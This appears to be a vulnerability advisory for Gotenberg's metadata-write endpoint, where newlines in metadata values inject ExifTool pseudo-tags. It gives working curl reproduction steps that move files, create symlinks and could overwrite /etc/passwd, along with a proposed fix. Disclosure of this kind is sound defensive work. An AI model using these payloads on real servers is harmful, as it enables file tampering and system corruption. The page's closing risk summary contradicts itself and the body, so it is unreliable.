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GHSA-q7r4-hc83-hf2q

CriticalCVSS 10 / 10
Published Apr 30, 2026·Last modified May 8, 2026
Affected Components(0)

No affected components available

Description

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go — WriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

  1. Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
  2. Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
  3. Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
  4. Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}

Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.

Vulnerable Code

// See description for details

Steps to Reproduce

  1. Set up the application using the default configuration
  2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.61%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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